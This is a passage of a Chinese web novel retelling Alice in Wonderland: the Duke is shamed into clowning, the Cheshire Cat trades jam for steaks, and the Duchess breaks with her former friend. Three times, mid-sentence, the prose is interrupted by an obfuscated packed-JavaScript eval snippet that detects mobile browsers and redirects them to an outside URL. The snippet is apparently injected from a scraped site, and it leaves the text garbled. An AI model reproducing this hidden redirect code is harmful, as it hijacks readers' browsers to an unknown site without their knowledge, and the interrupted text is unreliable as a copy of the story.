“要不是公爵夫人今天找过来,我还真以为她是你说的那样!现在我算看清楚了,她都气成这样了还只打你不打我,你都被抖出老底了还敢这么嚣张,品德败坏无耻下贱还背后嚼舌根的根本不是她,而是你!” “今天老娘就要替天行道,整死你这个欠揍的傻冒!不弄得你哭天喊爹,你还真以为女人是好捏的面团,好打发的馅儿!!” 公爵夫人暂时放下与厨娘的旧日仇怨,跑过来一起揍公爵。两人配合默契,很快,公爵身上就青一块紫一块红一块黑一块,蜷缩着嗷嗷乱叫,好似一块沾满各种酱料的面团,在沸腾的锅里一边翻滚,一边发出尖锐的爆鸣。 爱丽丝和同伴扮演的男仆们一边象征性地劝架,一边大声传播公爵的“光辉事迹”。 “你们快住手啊!不要冲动!公爵只是赌博破产败光家业了而已,这都忍不了,以后怎么陪他一起还债啊?” “公爵哪有你们说得那么不堪?他经常几个月不洗澡,内衬穿脏了翻面继续穿,多么节俭啊!他经常找理由克扣仆人工钱,说是严于律人才能使人进步,多么体贴啊!他每次一喝醉,都一视同仁地骂妻子骂情人骂仆人骂其它贵族还骂国王皇后,多么公正啊!他自己没有生育能力,就找了只猪当儿子养,多么爱护小动物,多么有同情心啊!……” “就是就是,为了给那只猪腾地方,公爵还赶走了公爵夫人养了多年的爱猫!众所周知,作为宠物,猫可比猪受欢迎多了,可是公爵却有这种不被流俗影响的精神,难道不是优点吗?” 在“男仆们”的鼓吹之下,看戏的人越来越多,议论纷纷。 “原来是公爵自己不能生?他还四处造谣说是夫人是不下蛋的母鸡,真恶心。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294139|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子原来真是头猪?那我没说错,良心好受多了。不过也怪不得公爵喜欢猪,同类相吸,乃自然法则。” “有这样的继承人,这家迟早得完!” “他又丑又废物,还败光家产,怎么还能这么有自信?要是他的自信分我一点,我不知有多成功!” “公爵夫人和厨娘都被这个祸害拖累了,她们以前自己开店,生意也好,心情也好,一进了公爵家……啧啧啧,公爵克女人啊!” “他还虐待猫?谁家好人虐待猫啊?!幸亏没让我女儿答应这种人求婚。呸!谁敢欺负我家''银河'',管他是公爵还是皇帝,我都要和他拼了!” …… 连赛场上的马都被吸引了过来,停止竞赛,踏破围栏,飞跃而至,好奇发问。 “怎么大家都在看你,你也是一匹马?” “从没见过你这么肥的两脚马,你是不是有严重的残疾?” “为了你好,听兄弟一句劝:趁着还没上场,赶紧好好练练,否则到时候只有气喘吁吁狼狈倒地,被踩踏而死的份儿!” 这下,这场赌马的生意是彻底做不成了,指望赚钱的选手和马场老板都怒气冲冲地跑来找公爵算账。 “我们为了这一天精心准备了多久!现在倒好,都让你毁了!不管你用什么方法,都必须赔偿我们!” 他们要的赔偿总额,比公爵这一场正常赌马可能输掉的钱还多好几倍。 看戏的旁观者都以为公爵会抵赖,至少求他们宽限几天,出乎意料的是,公爵却自信地表示,这点小钱不在话下,现在他就可以当场卖艺赚回来。 公爵自己也不知道发生了什么,但他被灵感墨水操控着,现在是世界上最棒的小丑。 紧接着,围观者们惊讶地看到,肥胖的公爵如有神助,从半死不活的状态瞬间支棱起来,一路小跑,轻盈一跃,跳上围栏,两只猪蹄飞快游走,口袋里的药瓶在手中轮转,白药丸红药丸蓝药丸绿药丸,提神药壮阳药醒酒药除臭药,随着他的动作在空中转出优美缤纷的抛物线。 不知是谁的羽毛扇随着笑声飞了出去,将公爵的药瓶击个粉碎,玻璃渣和药丸溅落如雨,竟都被公爵闪身回避。他仰天大笑,挥舞手臂:“再来!再来点东西!我可是不会失败的小丑,什么都能表演!” 于是,看热闹不嫌事大的旁观者们,纷纷朝公爵扔去杂七杂八的东西:珍珠项链、宝石领针、黄金手镯、丝绸袖套……团成球的汗巾、吃了一半的苹果、冒着气泡的酒瓶、咕叽作响的长靴、堆满假花的帽子、蹭上奶油的手套、蜂蜜凝固的甜甜圈、混合了各种香水味儿的披肩…… 公爵照单全收,脚踩着酒瓶,头顶着苹果,身缠着披肩,嘴叼着甜甜圈,像蛇一样扭动,在各种飞驰而来的不规则障碍物间蜿蜒急行。他的“男仆们”欢天喜地地伸长了手接过老爷夫人们的各色打赏。他则专心表演,挤眉弄眼,神色滑稽,唱起了逗乐的打油诗。 这里的观众们对赛马并不陌生,但公爵如此卖力地当小丑,还是第一次见,鼓掌大笑打赏起哄点节目的声音震天动地,弄得整个马场都在微微颤动旋转。 过于火热的节奏和气氛,点燃了公爵脚下的酒瓶,使它们变成了两只火轮。但见他神色自若地踏着火轮,在夜色和火星的交缠中跳起了披肩舞,最后他双脚腾空,极限一跃,长长的披肩被甩到天边,化为极光。 当镶着金边的蓝绿色极光逐渐消失时,公爵单手倒立着落在一匹马上,另一只手高举着自己的黑礼帽,从中变出了一只柴郡猫。 柴郡猫像魔法热气球一样缓缓膨胀,腾空,覆盖冷漠的夜空,将所有人的视野变成温暖的灰色。柴郡猫无比庄严优雅,礼貌可爱,完美的线条像神之雕塑,炯亮的大眼让群星失色,当他绽开标志性的微笑,洁白的尖牙从嘴角咧到眼角,没有人能拒绝他的邀请。 “女士们,先生们——” “现有柴郡猫特供的奇妙红茶果酱,能让任何平淡食物都拥有魔法般的美味——” “不收钱,只需用一块胡椒牛排来换。” “限量九百九十九瓶,售完即止。” “谁想先来尝尝?” 11.一切稳中向好 大概是公爵出丑事件的热度太高,大概是柴郡猫的宣传太过诱人,抑或是兼而有之,用红茶果酱交换胡椒牛排的计划十分顺利。 存放在疯子茶会话据点的那一大缸果酱好像取之不尽用之不竭。尽管爱丽丝上次掉进果酱缸里,将它打翻,洒了不少,但再扶起来时,那些果酱又恢复了原样。 那一大壶红茶也是一样,跟果酱一起,任劳任怨地保持新鲜,保持供应,无论多少人来索取,都能立刻产出需要的份量。 三月兔要做的,仅仅是把红茶和果酱混合起来,用勺子装进茶杯而已。 柴郡猫要做的,仅仅是帮着吆喝“绝妙秘方,奇妙美味,限量包装,限量供应,还剩xx份,欲购从速,结账只收胡椒牛排,请送到三月兔家中,谢谢合作”。 上头的看客们紧急催促家里的厨子做起了胡椒牛排,然后带着它连夜排队换取奇妙红茶果酱。天亮时,红皇室要求的九百九十九块胡椒牛排很快就足数了,柴郡猫宣布红茶果酱也售罄,没买到的都遗憾离去。 牛排难题得到了解决,三月兔看起来松了口气,不那么焦虑了,抱着睡鼠当抱枕,美美地在自己的屋子里睡着了。 在红茶果酱火热售卖时,公爵夫人也联合厨娘,成功把公爵当小丑卖艺得来的打赏都拍卖掉了,换来的钱虽然赎不回被公爵败光的祖宅,但可以抵消公爵这些年来欠她俩的工钱,让她们重新开一间餐馆,东山再起。 她们感慨万千: “我以前真是太傻了!那个贱男人说,只要我干活儿干得更多更好,就离婚,娶我当公爵夫人,我竟然真的信了,还因此去嫉妒,针对我昔日的好友!” “他还说,其它庸俗之辈都被皮相所惑,不懂得欣赏我的美,只有他,能透过现象看本质,爱上我充满魅力的灵魂!……” “现在想想,他甜言蜜语哄我当情人,只是为了省下雇厨娘的钱罢了!而我竟然还以为真爱无价,心疼他周转不开,给他白打工那么多年!呸,真是心疼男人倒大霉,亏大钱!” “可不是吗?我以为我时来运转,接住了天上掉下来的馅饼,从一个卑微女仆,变成了尊贵的公爵夫人。回头一看,其实我只是变成了更卑微的免费保姆!当女仆的时候,我带孩子还有钱拿,变成了''孩子的母亲'',我一要钱,就成了''不负责任,无耻拜金''!……我曾经还为此羞愧,原来,这都是抠搜男的诡计!” “我在上个东家那里确实受了不少委屈,也确实不想再当女仆了。可是,辞职出来开店之后,日子明明已经好转了,为什么又会被他骗去结婚,当免费劳力?” “我回忆了好久,终于记起来了,他那时候装得多么体贴,多么开明,多么懂得同情女人的处境!他经常光顾我们的餐馆,待到很晚才离开,说是为了保护我们,他每次来都嘘寒问暖,打听我们最近过得如何,说我们要是太累,他会心疼……那时我们太年轻,以为遇到了世间难得的真心。可是他除了动动嘴皮子,还付出了什么?他的爱,廉价得不值一提!” “谢天谢地,我终于解脱了,不用再白干活儿了,也不用再为了他,做那些该死的胡椒饼了!现在,轮到他给我干活儿了!他败光家产后,所有亲戚朋友都跟他断绝了关系,他根本无处可去,只能听我的!他和那只猪,以后都得在我的餐馆卖艺,帮我赚钱,赔偿我的精神损失费!” 她们还邀请了疯帽子来当合作伙伴,到店消费的客人可以优先享受“定制最棒帽子”的折扣。由于她们做菜的手艺和疯帽子做帽子的手艺都远近闻名,这份折扣成了人们难以推拒的美事,餐馆刚一恢复营业就生意兴隆,疯帽子也接到了更多的订单,皆大欢喜。 苦尽甘来春风得意的公爵夫人,拿出了十足的诚意,求柴郡猫原谅她,回到她身边。 她把以前为他做的,公爵不想见到的所有漂亮猫衣漂亮领结都拿了出来,她用赚来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305520|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱为他买最豪华的猫粮猫窝猫玩具,她把店里的桌子椅子和招牌菜都做成猫脸的形状,她让每一个用餐的客人都出去转达她的心意:“妙妙猫,回去吧,你妈妈不能没有你!妙妙猫,回去吧,你妈妈会用一切来补偿你!妙妙猫,回来吧,你要什么,妈妈就会给你什么!” 但是柴郡猫没有出现。 他躲了起来。 爱丽丝费了好大功夫,才在一丛巨大的卷丹百合花丛旁找到了他。 确切地说,是在花丛旁的一个兔子洞里找到了他。 猫到底是怎么把圆滚滚的身子塞进狭小缝隙里的,这对爱丽丝来说永远是个未解之谜。 但现在她没心思深思这个。 她对着兔子洞里发呆的柴郡猫严肃地说:“不管你是怎么想的,妙妙,你都不能在百合花丛旁边待太久!百合花粉会使猫中毒,呕吐,抽搐,甚至死亡……你难道不知道吗?” 柴郡猫不以为意地笑了:“我当然知道。可我不是一只普通的猫呀,不会因为这点小事就受伤。” 爱丽丝忽然觉得自己过于严肃了。她沉默片刻,温声道:“那你为什么要躲起来呢?如果你难过,不必强颜欢笑,其实可以哭出来的,我不会嘲笑你。” 柴郡猫欲言又止,有那么一瞬间,爱丽丝几乎以为他要皱眉了。 但他还是保持着优雅从容。 “我不是在难过,我是在沉思。” “你不觉得一切都顺利得有些异常吗?爱丽丝。” 爱丽丝下意识地应了:“好像确实是有点,但是……” 她这才发现有什么不对,停下话头,尴尬地挠了挠头。 他刚才叫自己……爱丽丝?! 不是爱尔兰,是爱丽丝。 “你、你早就发现我是……骗你们的?” 柴郡猫狡黠一笑,嘴角再次咧到眼角。 “本来不确定,现在确定啦。” 12.柴郡猫的眼泪 “可是……你是怎么发现的呢?” 面对爱丽丝的询问,柴郡猫骄傲一笑。 “别小看猫的智慧!” “很多时候,猫比人聪明多了。只不过,猫不愿意让人发现这点。否则,肯定会被派去做一些无聊的杂活,甚至被抓去剧场表演。” 他忽然意识到自己泄露太多了,话锋一转,切到另一个话题:“我经常躲在这里,但她从未发现,因为她一直嘱咐我要远离百合花,她以为我总是很听话……我曾经发誓,谁第一个找到了我,我就会给她一个难忘的纪念品。你想要什么呢?” 爱丽丝想了想,兴奋地拍手道:“用你掉下来的毛,给我做一个你的咧嘴笑头像怎么样?那一定很棒,我会天天带着它的!” 柴郡猫沉思片刻,回复道:“当然可以,但我需要一些时间准备。让我们先回归正题吧。” “爱丽丝,我很想像别人一样高兴,但是我发现我做不到。我总觉得某些事情很别扭……就像,内部打结的毛线团一样。你明白我的意思吗?” 爱丽丝当然明白。有些毛线团,外表被整理得柔顺圆润,其实里面缠了不少死结——为了逃避惩罚,她家的猫偶尔就会用这种把戏来骗人。只有要用的时候,才知道那些线团被猫玩得有多乱。 她不明白的是,现在的局势……如果不是猫在打结,又是谁?受苦的人脱离苦海,坑人的人得到惩罚,有手艺的人自食其力,吃白食的人开始还债,因为误会而交恶的挚友,解开误会,重归于好,这一切不是自然而然的吗?有什么不对? 默默陪伴她的墨水瓶,感应到了她的困惑,提出了某种可能性:“或许,是你许愿的念力太强,蒙蔽了某些角色真正的愿望。心智不坚的人,很容易受到别人的影响,更何况,她们在故事设定里,本来就是你的配角。” 这是爱丽丝未曾设想的角度。 “怎么会呢?现在,她们的障碍都被扫清了,没什么能阻止她们去做自己真正想做的事啊!” 但她还是决定认真地去问问她们的想法。 爱丽丝去到了公爵夫人和厨娘合开的店里,点了一份三角软筒冰淇淋松饼。 为了感谢她的帮助,两位老板坚持不要她的钱(其实那些钱也是她们卖了公爵卖艺得来的打赏之后分给她的),还把六个三角形松饼拼成太阳的形状,装在最漂亮的金色碟子里,亲自给她端过来。 “快尝尝吧,这里面有我们最拿手的草莓蓝莓黑莓树莓蔓越莓超级莓果馅,特色的热带风情奇异果混牛油果馅,洒了上好枫糖浆与核桃碎的经典榛子味,微醺微苦的酒心提拉米苏味,浪漫又养生的玫瑰味,还有甜甜的蜜桃味!总有一款适合你!” 要是在平时,爱丽丝一定会用最快的速度大吃大嚼,让任何一口冰淇淋在入口前化成水都是对它的不尊重。 但现在,心里有事的她毫无胃口,盯着她们的眼睛,追问:“说实话?现在这样的生活,真的是你们想要的吗?” 她们毫不犹豫地回道:“你在说什么啊?我们现在友谊复原,携手合作,名利双收,还有什么不好的?” “大家都来支持我们的生意,大家都很关注我们的生活,我们从没被这么关心过,能有什么不满的呢?” 爱丽丝又问了一遍:“真的没有任何不满?没有什么……憋在心里很难受,但是不敢说出来的事情?” 公爵夫人有些不自在地扯了扯袖子,让卷上去的袖子落下,盖住手腕处的烫伤。 她低下头,小声说:“真的没有。你不要多想,不要多想。一切都很好。” 厨娘好像忽然觉得很热,一边擦着汗,一边笑着打哈哈:“就是啊,我们都是心胸宽广的淑女,过去的事就让它……” 公爵夫人的脸一下子黑了,指着厨娘气愤地尖叫:“你没有资格这么说!我无法忘记,也无法原谅……我永远不会原谅你对我的伤害!”她重新撸起袖子,露出手臂上的累累伤痕。“在他打我的时候,你只是看着!……你甚至还加入!我曾经把你当成最好的朋友,但是你为了一个男人,一个贱男人,背叛了我,践踏了我们的友谊!” “我、我当然知道我有错!”看见客人们都停止进食,盯着她们这边,厨娘更心虚了。她无措地搓着手,眼神不知该往哪儿放,最终落在了开始融化的三角软筒冰淇淋松饼上。 “所以我已经在很努力地补偿你了!这家店的活儿,我愿意多干点,利润让你多拿!你六我四!或者……你七我三也行!训练公爵和猪娃表演的麻烦事,以后你也不用做了,全部交给我……” “啪!——”一个冰淇淋松饼砸在脸上,生生截断了厨娘的话头。 “啪!” “啪!” “啪!” “啪!” “啪!” 剩下五个冰淇淋松饼,被公爵夫人砸在了公爵和猪娃身上。 公爵夫人忍无可忍地扔掉围裙,大骂: “这个淑女谁爱当谁当吧!老娘实在不想再忍了!我不想再跟伤害我的人扯上任何关系,不想再当公爵夫人,不想再见到猪娃,也不想再见到背叛我的朋友!” “我也不会再做菜伺候别人了!我这辈子最恨做菜,尤其是摆弄那些无聊的糕饼!要不是……要不是……总之我再也不会做菜了!你们想吃什么就自己做吧!哼!” 厨娘呆在原地,不知道怎么安抚她。 一些客人们上前,想劝住她,不让她离开。 “哎呦,公爵夫人,不至于这么大动肝火!冷静一点,理智一点!你一个女人,年纪也不小了,要是这么离了婚,以后的日子怎么过?哪个男人不犯错?公爵认错态度还不错,都肯为你卖艺了,你就原谅他吧!浪子回头金不换呐!” “你做的菜确实很好吃!要是你走了,对我们食客来说,将是一个巨大的损失!就算你以前不喜欢做菜,以后也可以试着喜欢上嘛,人总是要向前看,才能越过越好的!” “对啊对啊!而且,我们还指望继续听你说公爵那些不为人知的故事呢,你要是走了,我们可就少了很多乐趣!” “你的朋友确实做得不对,但是退一万步说,难道你就没有问题吗?要是你不那么轻信,不被虚荣心蒙蔽双眼,能早点发现公爵是个骗子,言辞拒绝他,揭穿他,你和你朋友都不至于受他的苦啊!” 公爵夫人用力地把他们推开,让他们栽倒在自己点的蛋糕和茶杯里。 她肩膀剧烈耸动,声音和双手一样发颤。 “你们也没资格劝我!别以为我看不出来,你们根本不是真正关心我,只是来看好戏!……你们只知道打探他是怎么骗我上床的……你们只关心我能不能为你们提供劲爆的绯闻,能不能继续做你们喜欢的菜!” “现在我不想再当任何人的工具了,我要离开,我要去过自己的生活!” 她以势不可挡的劲头冲出了门。 离开时,刚好跟赶过来的柴郡猫擦身而过。 柴郡猫忍不住皱眉,问爱丽丝:“她一分钱都没要就跑了?这可不明智。” 因为离厨娘近,被不幸误伤的爱丽丝,舔了舔流到嘴边的莓果冰淇淋,一脸呆滞:“确实如此。但我以为你会更关心她的心情,我以为你会追上去——” 爱丽丝沮丧地捂住了脸:“你只是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314601|152134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只猫,我不该对你要求太多。是我搞砸了一切,应该追上去的是我!但我刚才愣住了,我又错失了挽回的最佳时机!” “我还浪费了一盘绝妙的冰淇淋松饼!它真美味……我应该吃完再提问的!” 柴郡猫跳到桌子上,慢条斯理,一点不剩地把金盘子里剩余的冰淇淋舔光,然后对着爱丽丝,露出了胸有成竹的微笑。 “你不必担心。我大概知道她会躲在哪里。” 柴郡猫领着爱丽丝,绕开重重荆棘,拨开无数藤蔓,驮着她避开崎岖的小路,危险的沼泽,进入了森林深处,一个废弃的磨坊。 来到生锈的铁门前,他却忽然停下来脚步,望着地上的落花说:“以前我似乎没发现,这些苹果花真美啊,充满春天的气息。” 爱丽丝知道,他大概需要一些时间整理自己的情绪。 越是重要的事,就越怕搞砸。 又恨又爱的人,更难以面对。 她把地上的苹果花收拾起来,用被风吹散的树枝和青草一起,编了个简单的苹果花冠。 她经常和朋友交换手编花冠,虽然她编的不是最好的,但一定是最快的。 她把苹果花冠戴在柴郡猫头上。 “这样你就拥有春神的祝福,变得更强大啦!” 柴郡猫点点头。 “我知道,接受祝福时还有个非做不可的仪式,那就是倒挂……这样才能打破固有视角的局限,看清生命的真谛。” 说着,他把自己的尾巴挂在了一旁的树枝上,头朝下垂了下来,对爱丽丝咧嘴笑。 “我现在感觉视野清晰多了,头脑也清醒多了,你也来试试吧!” 爱丽丝真希望自己立刻长出一条毛绒绒的大尾巴来,也能这么逍遥地倒挂着。 但她暂时只能在树下站着,对柴郡猫说:“妙妙,我来给你讲几个超好笑的笑话!我家里三只猫听了,都笑得满地打滚!” 其实爱丽丝并不擅长讲笑话,她的朋友都说她讲的笑话太冷了,简直为她们省了去南极的旅费。 但她现在一心希望能让柴郡猫开心——不是那种装出来的开心。 她还有种强烈的预感:只有让柴郡猫开心了,公爵夫人才会开心。只有柴郡猫知道怎么安慰公爵夫人。 她努力地表演着,手舞足蹈的,尽可能让她的冷笑话听起来好笑点。 “为什么数学书看起来很难过?因为它有太多问题了……” “画一直对墙大喊救命救命,墙问它怎么了,它说,我被人下套了!” “床和被子是生死之交,为什么这么说呢?床对被子说:别怕,我给你托底!被子对床说:别怕,我掩护你!” “一个男人问女人:为什么神把女人造得如此浅薄愚蠢?女人回答:这样她们才愿意嫁给男人。” “有一家人非常懒惰,干活儿时爸爸让妈妈去,妈妈让儿女去,儿女让小猫去。有一天,客人来拜访这家人,按门铃后,猫给他开了门,又继续擦地板。客人惊叹:哇,猫会擦地板?猫说:这算什么?客人又惊叹:猫还会说话?猫扑过去捂住客人的嘴:小声点,秘密泄露的话,以后我就要被派去冒充人类上班,上学啦!” …… 柴郡猫起先表现得很平静,好像什么都不能打扰他的深思。 渐渐地,他的皮毛随着情绪一起,膨胀了起来,像朵迎风摇摆的大蒲公英。 不知听到第几个笑话时,他明亮的金绿色大眼,蒙上一层水雾,然后化为雨滴,从微笑的眼角,一点点流了下来。 “说实话,这并不好笑——我是看在你的面子上,才勉强笑一笑的。”